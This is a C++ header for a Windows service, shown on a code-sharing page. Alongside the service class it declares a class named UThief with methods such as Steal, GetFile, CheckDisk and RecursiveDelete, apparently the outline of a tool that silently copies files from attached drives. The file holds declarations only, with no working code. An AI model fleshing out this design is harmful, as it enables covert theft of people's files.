📄 service.h
字号:
// Service.h: interface for the CService class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_SERVICE_H__CCA2ED69_EC91_11D5_966E_000347A347FE__INCLUDED_)
#define AFX_SERVICE_H__CCA2ED69_EC91_11D5_966E_000347A347FE__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
class UThief
{
public:
UThief();
~UThief();
string EraseLastChar(const string Str, string sChar = "\\");
string GetString(const string Str, string sChar = "\\", bool bIsFirst = true);
TCHAR* string_to_char(const string Str);
bool CheckDisk(const TCHAR* sDisk);
bool FileExists(const TCHAR* lpszFileName, bool bIsDirCheck = false);
void RecursiveDelete(const TCHAR* szPath);
BOOL DeleteFileOrFolder(const TCHAR* szPath);
BOOL CreateDir(const TCHAR* lpPathName, LPSECURITY_ATTRIBUTES lpSecutiryAttributes);
BOOL Copy(const TCHAR* szExitingFileName, const TCHAR* szNewFileName, BOOL bFailIfExists);
void GetFile(const TCHAR* szPath, const TCHAR* szStorer);
void Steal();
TCHAR* SystemTime();
public:
string SelfPath;
string SelfFolder;
string StorePath;
int StealStatus;
};
class CService
{
public:
CService();
virtual ~CService();
void Init(LPCTSTR pServiceName,LPCTSTR pServiceDisplayedName);
void Start();
void ServiceMain();
void Handler(DWORD dwOpcode);
void Run();
BOOL IsInstalled();
BOOL Install();
BOOL Uninstall();
//void LogEvent(LPCSTR pszFormat, ...);
void SetServiceStatus(DWORD dwState);
private:
static void WINAPI _ServiceMain(DWORD dwArgc, LPTSTR* lpszArgv);
static void WINAPI _Handler(DWORD dwOpcode);
DWORD m_dwThreadID;
public:
TCHAR m_szServiceName[256];
TCHAR m_szServiceDisplayedName[256];
SERVICE_STATUS_HANDLE m_hServiceStatus;
SERVICE_STATUS m_status;
BOOL m_bService;
};
extern CService _Module;
extern UThief _UThief;
#endif // !defined(AFX_SERVICE_H__CCA2ED69_EC91_11D5_966E_000347A347FE__INCLUDED_)
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -